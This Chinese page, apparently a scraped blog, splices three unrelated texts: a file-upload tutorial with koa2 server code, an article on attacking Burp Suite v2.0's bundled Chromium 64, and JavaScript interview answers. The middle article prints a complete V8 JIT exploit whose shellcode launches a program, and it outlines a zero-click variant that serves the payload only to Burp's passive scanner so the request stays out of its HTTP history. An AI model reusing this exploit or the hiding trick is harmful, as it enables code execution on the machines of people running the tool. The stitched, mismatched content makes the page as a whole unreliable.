整合營(yíng)銷(xiāo)服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢(xún)熱線(xiàn):

          手把手教你前端的各種文件上傳攻略和大文件斷點(diǎn)續(xù)傳



          在前面

          今年國(guó)慶假期終于可以憋在家里了不用出門(mén)了,不用出去看后腦了,真的是一種享受。這么好的光陰怎么浪費(fèi),睡覺(jué)、吃飯、打豆豆這怎么可能(耍多了也煩),完全不符合我們程序員的作風(fēng),趕緊起來(lái)把文章寫(xiě)完。

          這篇文章比較基礎(chǔ),在國(guó)慶期間的業(yè)余時(shí)間寫(xiě)的,這幾天又完善了下,力求把更多的前端所涉及到的關(guān)于文件上傳的各種場(chǎng)景和應(yīng)用都涵蓋了,若有疏漏和問(wèn)題還請(qǐng)留言斧正和補(bǔ)充。

          自測(cè)讀不讀

          以下是本文所涉及到的知識(shí)點(diǎn),break or continue ?

          • 文件上傳原理
          • 最原始的文件上傳
          • 使用 koa2 作為服務(wù)端寫(xiě)一個(gè)文件上傳接口
          • 單文件上傳和上傳進(jìn)度
          • 多文件上傳和上傳進(jìn)度
          • 拖拽上傳
          • 剪貼板上傳
          • 大文件上傳之分片上傳
          • 大文件上傳之?dāng)帱c(diǎn)續(xù)傳
          • node 端文件上傳

          原理概述

          原理很簡(jiǎn)單,就是根據(jù) http 協(xié)議的規(guī)范和定義,完成請(qǐng)求消息體的封裝和消息體的解析,然后將二進(jìn)制內(nèi)容保存到文件。

          我們都知道如果要上傳一個(gè)文件,需要把 form 標(biāo)簽的enctype設(shè)置為multipart/form-data,同時(shí)method必須為post方法。

          那么multipart/form-data表示什么呢?

          multipart互聯(lián)網(wǎng)上的混合資源,就是資源由多種元素組成,form-data表示可以使用HTML Forms 和 POST 方法上傳文件,具體的定義可以參考RFC 7578。

          multipart/form-data 結(jié)構(gòu)

          看下 http 請(qǐng)求的消息體



          • 請(qǐng)求頭:

          Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCntfiXcSkPhS4PN 表示本次請(qǐng)求要上傳文件,其中boundary表示分隔符,如果要上傳多個(gè)表單項(xiàng),就要使用boundary分割,每個(gè)表單項(xiàng)由———XXX開(kāi)始,以———XXX結(jié)尾。

          • 消息體- Form Data 部分

          每一個(gè)表單項(xiàng)又由Content-Type和Content-Disposition組成。

          Content-Disposition: form-data 為固定值,表示一個(gè)表單元素,name 表示表單元素的 名稱(chēng),回車(chē)換行后面就是name的值,如果是上傳文件就是文件的二進(jìn)制內(nèi)容。

          Content-Type:表示當(dāng)前的內(nèi)容的 MIME 類(lèi)型,是圖片還是文本還是二進(jìn)制數(shù)據(jù)。

          解析

          客戶(hù)端發(fā)送請(qǐng)求到服務(wù)器后,服務(wù)器會(huì)收到請(qǐng)求的消息體,然后對(duì)消息體進(jìn)行解析,解析出哪是普通表單哪些是附件。

          可能大家馬上能想到通過(guò)正則或者字符串處理分割出內(nèi)容,不過(guò)這樣是行不通的,二進(jìn)制buffer轉(zhuǎn)化為string,對(duì)字符串進(jìn)行截取后,其索引和字符串是不一致的,所以結(jié)果就不會(huì)正確,除非上傳的就是字符串。

          不過(guò)一般情況下不需要自行解析,目前已經(jīng)有很成熟的三方庫(kù)可以使用。

          至于如何解析,這個(gè)也會(huì)占用很大篇幅,后面的文章在詳細(xì)說(shuō)。

          最原始的文件上傳

          使用 form 表單上傳文件

          在 ie時(shí)代,如果實(shí)現(xiàn)一個(gè)無(wú)刷新的文件上傳那可是費(fèi)老勁了,大部分都是用 iframe 來(lái)實(shí)現(xiàn)局部刷新或者使用 flash 插件來(lái)搞定,在那個(gè)時(shí)代 ie 就是最好用的瀏覽器(別無(wú)選擇)。

          DEMO



          這種方式上傳文件,不需要 js ,而且沒(méi)有兼容問(wèn)題,所有瀏覽器都支持,就是體驗(yàn)很差,導(dǎo)致頁(yè)面刷新,頁(yè)面其他數(shù)據(jù)丟失。

          HTML

           <form method="post" action="http://localhost:8100" enctype="multipart/form-data">
          
                  選擇文件:
                      <input type="file" name="f1"/> input 必須設(shè)置 name 屬性,否則數(shù)據(jù)無(wú)法發(fā)送<br/>
          <br/>
                      標(biāo)題:<input type="text" name="title"/><br/><br/><br/>
          
                  <button type="submit" id="btn-0">上 傳</button>
          
          </form>
          
          復(fù)制代碼

          文件上傳接口

          服務(wù)端文件的保存基于現(xiàn)有的庫(kù)koa-body結(jié)合 koa2實(shí)現(xiàn)服務(wù)端文件的保存和數(shù)據(jù)的返回。

          在項(xiàng)目開(kāi)發(fā)中,文件上傳本身和業(yè)務(wù)無(wú)關(guān),代碼基本上都可通用。

          在這里我們使用koa-body庫(kù)來(lái)實(shí)現(xiàn)解析和文件的保存。

          koa-body 會(huì)自動(dòng)保存文件到系統(tǒng)臨時(shí)目錄下,也可以指定保存的文件路徑。



          然后在后續(xù)中間件內(nèi)得到已保存的文件的信息,再做二次處理。

          • ctx.request.files.f1 得到文件信息,f1為input file 標(biāo)簽的 name
          • 獲得文件的擴(kuò)展名,重命名文件

          NODE

          /**
           * 服務(wù)入口
           */
          var http = require('http');
          var koaStatic = require('koa-static');
          var path = require('path');
          var koaBody = require('koa-body');//文件保存庫(kù)
          var fs = require('fs');
          var Koa = require('koa2');
          
          var app = new Koa();
          var port = process.env.PORT || '8100';
          
          var uploadHost= `http://localhost:${port}/uploads/`;
          
          app.use(koaBody({
              formidable: {
                  //設(shè)置文件的默認(rèn)保存目錄,不設(shè)置則保存在系統(tǒng)臨時(shí)目錄下  os
                  uploadDir: path.resolve(__dirname, '../static/uploads')
              },
              multipart: true // 開(kāi)啟文件上傳,默認(rèn)是關(guān)閉
          }));
          
          //開(kāi)啟靜態(tài)文件訪(fǎng)問(wèn)
          app.use(koaStatic(
              path.resolve(__dirname, '../static') 
          ));
          
          //文件二次處理,修改名稱(chēng)
          app.use((ctx) => {
              var file = ctx.request.files.f1;//得道文件對(duì)象
              var path = file.path;
              var fname = file.name;//原文件名稱(chēng)
              var nextPath = path+fname;
              if(file.size>0 && path){
                  //得到擴(kuò)展名
                  var extArr = fname.split('.');
                  var ext = extArr[extArr.length-1];
                  var nextPath = path+'.'+ext;
                  //重命名文件
                  fs.renameSync(path, nextPath);
              }
              //以 json 形式輸出上傳文件地址
              ctx.body = `{
                  "fileUrl":"${uploadHost}${nextPath.slice(nextPath.lastIndexOf('/')+1)}"
              }`;
          });
          
          /**
           * http server
           */
          var server = http.createServer(app.callback());
          server.listen(port);
          console.log('demo1 server start ......   ');
          復(fù)制代碼

          CODE

          https://github.com/Bigerfe/fe-learn-code/

          、前言

          Headless Chrome是谷歌Chrome瀏覽器的無(wú)界面模式,通過(guò)命令行方式打開(kāi)網(wǎng)頁(yè)并渲染,常用于自動(dòng)化測(cè)試、網(wǎng)站爬蟲(chóng)、網(wǎng)站截圖、XSS檢測(cè)等場(chǎng)景。

          近幾年許多桌面客戶(hù)端應(yīng)用中,基本都內(nèi)嵌了Chromium用于業(yè)務(wù)場(chǎng)景使用,但由于開(kāi)發(fā)不當(dāng)、CEF版本不升級(jí)維護(hù)等諸多問(wèn)題,攻擊者可以利用這些缺陷攻擊客戶(hù)端應(yīng)用以達(dá)到命令執(zhí)行效果。

          本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴(kuò)展等方面進(jìn)行深入探討。

          二、軟件分析

          以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構(gòu)及功能點(diǎn)。

          burpsuite_pro_v2.0.11beta.jar進(jìn)行解包,可以發(fā)現(xiàn)Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統(tǒng)下運(yùn)行內(nèi)置Chromium瀏覽器。

          在Windows系統(tǒng)中,Burp Suite v2.0運(yùn)行時(shí)會(huì)將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄

          從目錄名及數(shù)字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。

          那如何在Burp Suite中使用內(nèi)置瀏覽器呢?在常見(jiàn)的使用場(chǎng)景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能夠調(diào)用內(nèi)置Chromium瀏覽器渲染網(wǎng)頁(yè)。

          當(dāng)Burp Suite喚起內(nèi)置瀏覽器browsercore32.exe打開(kāi)網(wǎng)頁(yè)時(shí),browsercore32.exe會(huì)創(chuàng)建Renderer進(jìn)程及GPU加速進(jìn)程。

          browsercore32.exe進(jìn)程運(yùn)行參數(shù)如下:

          // Chromium主進(jìn)程
          C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
          
          // Renderer進(jìn)程
          C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
          

          從進(jìn)程運(yùn)行參數(shù)分析得知,Chromium進(jìn)程以headless模式運(yùn)行、關(guān)閉了沙箱功能、隨機(jī)監(jiān)聽(tīng)一個(gè)端口(用途未知)。

          三、漏洞利用

          Chromium組件的歷史版本幾乎都存在著1Day漏洞風(fēng)險(xiǎn),特別是在客戶(hù)端軟件一般不會(huì)維護(hù)升級(jí)Chromium版本,且關(guān)閉沙箱功能,在沒(méi)有沙箱防護(hù)的情況下漏洞可以無(wú)限制利用。

          Burp Suite v2.0內(nèi)置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個(gè)歷史漏洞影響,可以通過(guò)v8引擎漏洞執(zhí)行shellcode從而獲得PC權(quán)限。

          以Render功能演示,利用v8漏洞觸發(fā)shellcode打開(kāi)計(jì)算器(此處感謝Sakura提供漏洞利用代碼)

          這個(gè)漏洞沒(méi)有公開(kāi)的CVE ID,但其詳情可以在這里找到。
          該漏洞的Root Cause是在進(jìn)行
          Math.expm1的范圍分析時(shí),推斷出的類(lèi)型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會(huì)返回-0的情況,從而導(dǎo)致范圍分析錯(cuò)誤,導(dǎo)致JIT優(yōu)化時(shí),錯(cuò)誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。

          <html>
          <head></head>
          </body>
          <script>
          function pwn() {
              var f64Arr = new Float64Array(1);
              var u32Arr = new Uint32Array(f64Arr.buffer);
          
              function f2u(f) {
                  f64Arr[0] = f;
                  return u32Arr;
              }
          
              function u2f(h, l)
              {
                  u32Arr[0] = l;
                  u32Arr[1] = h;
                  return f64Arr[0];
              }
          
              function hex(i) {
                  return "0x" + i.toString(16).padStart(8, "0");
              }
          
              function log(str) {
                  console.log(str);
                  document.body.innerText += str + '\n';
              }
          
              var big_arr = [1.1, 1.2];
              var ab = new ArrayBuffer(0x233);
              var data_view = new DataView(ab);
          
              function opt_me(x) {
                  var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
                  big_arr = [1.1, 1.2];
                  ab = new ArrayBuffer(0x233);
                  data_view = new DataView(ab);
          
                  let obj = {
                      a: -0
                  };
                  let idx = Object.is(Math.expm1(x), obj.a) * 10;
          
                  var tmp = f2u(oob_arr[idx])[0];
                  oob_arr[idx] = u2f(0x234, tmp);
              }
              for (let a = 0; a < 0x1000; a++)
                  opt_me(0);
          
              opt_me(-0);
              var optObj = {
                  flag: 0x266,
                  funcAddr: opt_me
              };
          
              log("[+] big_arr.length: " + big_arr.length);
          
              if (big_arr.length != 282) {
                  log("[-] Can not modify big_arr length !");
                  return;
              }
              var backing_store_idx = -1;
              var backing_store_in_hign_mem = false;
              var OptObj_idx = -1;
              var OptObj_idx_in_hign_mem = false;
          
              for (let a = 0; a < 0x100; a++) {
                  if (backing_store_idx == -1) {
                      if (f2u(big_arr[a])[0] == 0x466) {
                          backing_store_in_hign_mem = true;
                          backing_store_idx = a;
                      } else if (f2u(big_arr[a])[1] == 0x466) {
                          backing_store_in_hign_mem = false;
                          backing_store_idx = a + 1;
                      }
                  }
          
                  else if (OptObj_idx == -1) {
                      if (f2u(big_arr[a])[0] == 0x4cc) {
                          OptObj_idx_in_hign_mem = true;
                          OptObj_idx = a;
                      } else if (f2u(big_arr[a])[1] == 0x4cc) {
                          OptObj_idx_in_hign_mem = false;
                          OptObj_idx = a + 1;
                      }
                  }
          
              }
          
              if (backing_store_idx == -1) {
                  log("[-] Can not find backing store !");
                  return;
              } else
                  log("[+] backing store idx: " + backing_store_idx +
                      ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
          
              if (OptObj_idx == -1) {
                  log("[-] Can not find Opt Obj !");
                  return;
              } else
                  log("[+] OptObj idx: " + OptObj_idx +
                      ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
          
              var backing_store = (backing_store_in_hign_mem ?
                  f2u(big_arr[backing_store_idx])[1] :
                  f2u(big_arr[backing_store_idx])[0]);
              log("[+] Origin backing store: " + hex(backing_store));
          
              var dataNearBS = (!backing_store_in_hign_mem ?
                  f2u(big_arr[backing_store_idx])[1] :
                  f2u(big_arr[backing_store_idx])[0]);
          
              function read(addr) {
                  if (backing_store_in_hign_mem)
                      big_arr[backing_store_idx] = u2f(addr, dataNearBS);
                  else
                      big_arr[backing_store_idx] = u2f(dataNearBS, addr);
                  return data_view.getInt32(0, true);
              }
          
              function write(addr, msg) {
                  if (backing_store_in_hign_mem)
                      big_arr[backing_store_idx] = u2f(addr, dataNearBS);
                  else
                      big_arr[backing_store_idx] = u2f(dataNearBS, addr);
                  data_view.setInt32(0, msg, true);
              }
          
              var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
                  f2u(big_arr[OptObj_idx])[1] :
                  f2u(big_arr[OptObj_idx])[0]) - 1;
              log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
          
              var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
              log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
          
              var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
              log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
          
              var shellcode = new Uint8Array(
                     [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
                      0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
                      0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
                      0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
                      0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
                      0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
                      0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
                      0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
                      0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
                      0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
                      0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
                      0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
                      0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
              );
          
              log("[+] writing shellcode ... ");
              for (let i = 0; i < shellcode.length; i++)
                  write(RWX_Mem_Addr + i, shellcode[i]);
          
              log("[+] execute shellcode !");
              opt_me();
          }
          pwn();
          </script>
          </body>
          </html>
          

          用戶(hù)在通過(guò)Render功能渲染頁(yè)面時(shí)觸發(fā)v8漏洞成功執(zhí)行shellcode。

          四、進(jìn)階攻擊

          Render功能需要用戶(hù)交互才能觸發(fā)漏洞,相對(duì)來(lái)說(shuō)比較雞肋,能不能0click觸發(fā)漏洞?答案是可以的。

          Burp Suite v2.0的Live audit from Proxy被動(dòng)掃描功能在默認(rèn)情況下開(kāi)啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。

          其中JavaScript分析配置中,默認(rèn)開(kāi)啟了動(dòng)態(tài)分析功能(dynamic analysis techniques)、額外請(qǐng)求功能(Make requests for missing Javascript dependencies)

          JavaScript動(dòng)態(tài)分析功能會(huì)調(diào)用內(nèi)置chromium瀏覽器對(duì)頁(yè)面中的JavaScript進(jìn)行DOM XSS掃描,同樣會(huì)觸發(fā)頁(yè)面中的HTML渲染、JavaScript執(zhí)行,從而觸發(fā)v8漏洞執(zhí)行shellcode。

          額外請(qǐng)求功能當(dāng)頁(yè)面存在script標(biāo)簽引用外部JS時(shí),除了頁(yè)面正常渲染時(shí)請(qǐng)求加載script標(biāo)簽,還會(huì)額外發(fā)起請(qǐng)求加載外部JS。即兩次請(qǐng)求加載外部JS文件,并且分別執(zhí)行兩次JavaScript動(dòng)態(tài)分析。

          額外發(fā)起的HTTP請(qǐng)求會(huì)存在明文特征,后端可以根據(jù)該特征在正常加載時(shí)返回正常JavaScript代碼,額外加載時(shí)返回漏洞利用代碼,從而可以實(shí)現(xiàn)在Burp Suite HTTP history中隱藏攻擊行為。

          GET /xxx.js HTTP/1.1
          Host: www.xxx.com
          Connection: close
          Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
          

          JavaScript動(dòng)態(tài)分析 + 額外請(qǐng)求 + chromium漏洞組合利用效果:

          五、流量特征檢測(cè)

          默認(rèn)情況下Java發(fā)起HTTPS請(qǐng)求時(shí)協(xié)商的算法會(huì)受到JDK及操作系統(tǒng)版本影響,而B(niǎo)urp Suite自己實(shí)現(xiàn)了HTTPS請(qǐng)求庫(kù),其TLS握手協(xié)商的算法是固定的,結(jié)合JA3算法形成了TLS流量指紋特征可被檢測(cè),有關(guān)于JA3檢測(cè)的知識(shí)點(diǎn)可學(xué)習(xí)《TLS Fingerprinting with JA3 and JA3S》。

          Cloudflare開(kāi)源并在CDN產(chǎn)品上應(yīng)用了MITMEngine組件,通過(guò)TLS指紋識(shí)別可檢測(cè)出惡意請(qǐng)求并攔截,其覆蓋了大多數(shù)Burp Suite版本的JA3指紋從而實(shí)現(xiàn)檢測(cè)攔截。這也可以解釋為什么在滲透測(cè)試時(shí)使用Burp Suite請(qǐng)求無(wú)法獲取到響應(yīng)包。

          以Burp Suite v2.0舉例,實(shí)際測(cè)試在各個(gè)操作系統(tǒng)下,同樣的jar包發(fā)起的JA3指紋是一樣的。

          不同版本Burp Suite支持的TLS算法不一樣會(huì)導(dǎo)致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測(cè)只需要將每個(gè)版本的JA3指紋識(shí)別覆蓋即可檢測(cè)Burp Suite攻擊從而實(shí)現(xiàn)攔截。

          本文章涉及內(nèi)容僅限防御對(duì)抗、安全研究交流,請(qǐng)勿用于非法途徑。

          .幾種基本數(shù)據(jù)類(lèi)型?復(fù)雜數(shù)據(jù)類(lèi)型?值類(lèi)型和引用數(shù)據(jù)類(lèi)型?堆棧數(shù)據(jù)結(jié)構(gòu)?

          基本數(shù)據(jù)類(lèi)型:Undefined、Null、Boolean、Number、String
          值類(lèi)型:數(shù)值、布爾值、null、undefined。
          引用類(lèi)型:對(duì)象、數(shù)組、函數(shù)。
          堆棧數(shù)據(jù)結(jié)構(gòu):是一種支持后進(jìn)先出(LIFO)的集合,即后被插入的數(shù)據(jù),先被取出!
          js數(shù)組中提供了以下幾個(gè)方法可以讓我們很方便實(shí)現(xiàn)堆棧:
          shift:從數(shù)組中把第一個(gè)元素刪除,并返回這個(gè)元素的值。
          unshift: 在數(shù)組的開(kāi)頭添加一個(gè)或更多元素,并返回新的長(zhǎng)度
          push:在數(shù)組的中末尾添加元素,并返回新的長(zhǎng)度
          pop:從數(shù)組中把最后一個(gè)元素刪除,并返回這個(gè)元素的值。

          2.聲明函數(shù)作用提升?聲明變量和聲明函數(shù)的提升有什么區(qū)別?

          (1) 變量聲明提升:變量申明在進(jìn)入執(zhí)行上下文就完成了。
          只要變量在代碼中進(jìn)行了聲明,無(wú)論它在哪個(gè)位置上進(jìn)行聲明, js引擎都會(huì)將它的聲明放在范圍作用域的頂部;
          (2) 函數(shù)聲明提升:執(zhí)行代碼之前會(huì)先讀取函數(shù)聲明,意味著可以把函數(shù)申明放在調(diào)用它的語(yǔ)句后面。
          只要函數(shù)在代碼中進(jìn)行了聲明,無(wú)論它在哪個(gè)位置上進(jìn)行聲明, js引擎都會(huì)將它的聲明放在范圍作用域的頂部;
          (3) 變量or函數(shù)聲明:函數(shù)聲明會(huì)覆蓋變量聲明,但不會(huì)覆蓋變量賦值。
          同一個(gè)名稱(chēng)標(biāo)識(shí)a,即有變量聲明var a,又有函數(shù)聲明function a() {},不管二者聲明的順序,函數(shù)聲明會(huì)覆蓋變量聲明,也就是說(shuō),此時(shí)a的值是聲明的函數(shù)function a() {}。注意:如果在變量聲明的同時(shí)初始化a,或是之后對(duì)a進(jìn)行賦值,此時(shí)a的值變量的值。eg: var a; var c = 1; a = 1; function a() { return true; } console.log(a);


          3.判斷數(shù)據(jù)類(lèi)型?

          typeof返回的類(lèi)型都是字符串形式,可以判斷function的類(lèi)型;在判斷除Object類(lèi)型的對(duì)象時(shí)比較方便。
          判斷已知對(duì)象類(lèi)型的方法: instanceof,后面一定要是對(duì)象類(lèi)型,并且大小寫(xiě)不能錯(cuò),該方法適合一些條件選擇或分支。


          4.異步編程?

          方法1:回調(diào)函數(shù),優(yōu)點(diǎn)是簡(jiǎn)單、容易理解和部署,缺點(diǎn)是不利于代碼的閱讀和維護(hù),各個(gè)部分之間高度耦合(Coupling),流程會(huì)很混亂,而且每個(gè)任務(wù)只能指定一個(gè)回調(diào)函數(shù)。
          方法2:時(shí)間監(jiān)聽(tīng),可以綁定多個(gè)事件,每個(gè)事件可以指定多個(gè)回調(diào)函數(shù),而且可以“去耦合”(Decoupling),有利于實(shí)現(xiàn)模塊化。缺點(diǎn)是整個(gè)程序都要變成事件驅(qū)動(dòng)型,運(yùn)行流程會(huì)變得很不清晰。
          方法3:發(fā)布/訂閱,性質(zhì)與“事件監(jiān)聽(tīng)”類(lèi)似,但是明顯優(yōu)于后者。
          方法4:Promises對(duì)象,是CommonJS工作組提出的一種規(guī)范,目的是為異步編程提供統(tǒng)一接口。
          簡(jiǎn)單說(shuō),它的思想是,每一個(gè)異步任務(wù)返回一個(gè)Promise對(duì)象,該對(duì)象有一個(gè)then方法,允許指定回調(diào)函數(shù)。


          5.事件流?事件捕獲?事件冒泡?

          事件流:從頁(yè)面中接收事件的順序。也就是說(shuō)當(dāng)一個(gè)事件產(chǎn)生時(shí),這個(gè)事件的傳播過(guò)程,就是事件流。
          IE中的事件流叫事件冒泡;事件冒泡:事件開(kāi)始時(shí)由最具體的元素接收,然后逐級(jí)向上傳播到較為不具體的節(jié)點(diǎn)(文檔)。對(duì)于html來(lái)說(shuō),就是當(dāng)一個(gè)元素產(chǎn)生了一個(gè)事件,它會(huì)把這個(gè)事件傳遞給它的父元素,父元素接收到了之后,還要繼續(xù)傳遞給它的上一級(jí)元素,就這樣一直傳播到document對(duì)象(親測(cè)現(xiàn)在的瀏覽器到window對(duì)象,只有IE8及下不這樣
          事件捕獲是不太具體的元素應(yīng)該更早接受到事件,而最具體的節(jié)點(diǎn)應(yīng)該最后接收到事件。他們的用意是在事件到達(dá)目標(biāo)之前就捕獲它;也就是跟冒泡的過(guò)程正好相反,以html的click事件為例,document對(duì)象(DOM級(jí)規(guī)范要求從document開(kāi)始傳播,但是現(xiàn)在的瀏覽器是從window對(duì)象開(kāi)始的)最先接收到click事件的然后事件沿著DOM樹(shù)依次向下傳播,一直傳播到事件的實(shí)際目標(biāo);


          6.如何清除一個(gè)定時(shí)器?

          window.clearInterval();
          window.clearTimeout();


          7.如何添加一個(gè)dom對(duì)象到body中?innerHTML和innerText區(qū)別?

          body.appendChild(dom元素);
          innerHTML:從對(duì)象的起始位置到終止位置的全部?jī)?nèi)容,包括Html標(biāo)簽。
          innerText:從起始位置到終止位置的內(nèi)容, 但它去除Html標(biāo)簽
          分別簡(jiǎn)述五個(gè)window對(duì)象、屬性
          成員對(duì)象
          window.event window.document window.history
          window.screen window.navigator window.external
          Window對(duì)象的屬性如下:
          window //窗戶(hù)自身
          window.self //引用本窗戶(hù)window=window.self
          window.name //為窗戶(hù)命名
          window.defaultStatus //設(shè)定窗戶(hù)狀態(tài)欄信息
          window.location //URL地址,配備布置這個(gè)屬性可以打開(kāi)新的頁(yè)面


          8.數(shù)據(jù)持久化技術(shù)(ajax)?簡(jiǎn)述ajax流程

          1)客戶(hù)端產(chǎn)生js的事件
          2)創(chuàng)建XMLHttpRequest對(duì)象
          3)對(duì)XMLHttpRequest進(jìn)行配置
          4)通過(guò)AJAX引擎發(fā)送異步請(qǐng)求
          5)服務(wù)器端接收請(qǐng)求并且處理請(qǐng)求,返回html或者xml內(nèi)容
          6)XML調(diào)用一個(gè)callback()處理響應(yīng)回來(lái)的內(nèi)容
          7)頁(yè)面局部刷新


          9.回調(diào)函數(shù)?

          回調(diào)函數(shù)就是一個(gè)通過(guò)函數(shù)指針調(diào)用的函數(shù)。如果你把函數(shù)的指針(地址)作為參數(shù)傳遞給另一個(gè)函數(shù),當(dāng)這個(gè)指針被用來(lái)調(diào)用其所指向的函數(shù)時(shí),我們就說(shuō)這是回調(diào)函數(shù)。回調(diào)函數(shù)不是由該函數(shù)的實(shí)現(xiàn)方直接調(diào)用,而是在特定的事件或條件發(fā)生時(shí)由另外的一方調(diào)用的,用于對(duì)該事件或條件進(jìn)行響應(yīng)。


          10.什么是閉包?* 堆棧溢出有什么區(qū)別? 內(nèi)存泄漏? 那些操作會(huì)造成內(nèi)存泄漏?怎么樣防止內(nèi)存泄漏?

          閉包:就是能夠讀取其他函數(shù)內(nèi)部變量的函數(shù)。
          堆棧溢出:就是不顧堆棧中分配的局部數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫(xiě)入了過(guò)多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)越界,結(jié)果覆蓋了別的數(shù)據(jù)。經(jīng)常會(huì)在遞歸中發(fā)生。
          內(nèi)存泄露是指:用動(dòng)態(tài)存儲(chǔ)分配函數(shù)內(nèi)存空間,在使用完畢后未釋放,導(dǎo)致一直占據(jù)該內(nèi)存單元。直到程序結(jié)束。指任何對(duì)象在您不再擁有或需要它之后仍然存在。
          造成內(nèi)存泄漏:
          setTimeout 的第一個(gè)參數(shù)使用字符串而非函數(shù)的話(huà),會(huì)引發(fā)內(nèi)存泄漏。
          閉包、控制臺(tái)日志、循環(huán)(在兩個(gè)對(duì)象彼此引用且彼此保留時(shí),就會(huì)產(chǎn)生一個(gè)循環(huán))
          防止內(nèi)存泄露:
          1、不要?jiǎng)討B(tài)綁定事件;
          2、不要在動(dòng)態(tài)添加,或者會(huì)被動(dòng)態(tài)移除的dom上綁事件,用事件冒泡在父容器監(jiān)聽(tīng)事件;
          3、如果要違反上面的原則,必須提供destroy方法,保證移除dom后事件也被移除,這點(diǎn)可以參考Backbone的源代碼,做的比較好;
          4、單例化,少創(chuàng)建dom,少綁事件。


          11.平時(shí)工作中怎么樣進(jìn)行數(shù)據(jù)交互?如果后臺(tái)沒(méi)有提供數(shù)據(jù)怎么樣進(jìn)行開(kāi)發(fā)?mock數(shù)據(jù)與后臺(tái)返回的格式不同意怎么辦?

          由后臺(tái)編寫(xiě)接口文檔、提供數(shù)據(jù)接口實(shí)、前臺(tái)通過(guò)ajax訪(fǎng)問(wèn)實(shí)現(xiàn)數(shù)據(jù)交互;
          在沒(méi)有數(shù)據(jù)的情況下尋找后臺(tái)提供靜態(tài)數(shù)據(jù)或者自己定義mock數(shù)據(jù);
          返回?cái)?shù)據(jù)不統(tǒng)一時(shí)編寫(xiě)映射文件 對(duì)數(shù)據(jù)進(jìn)行映射。

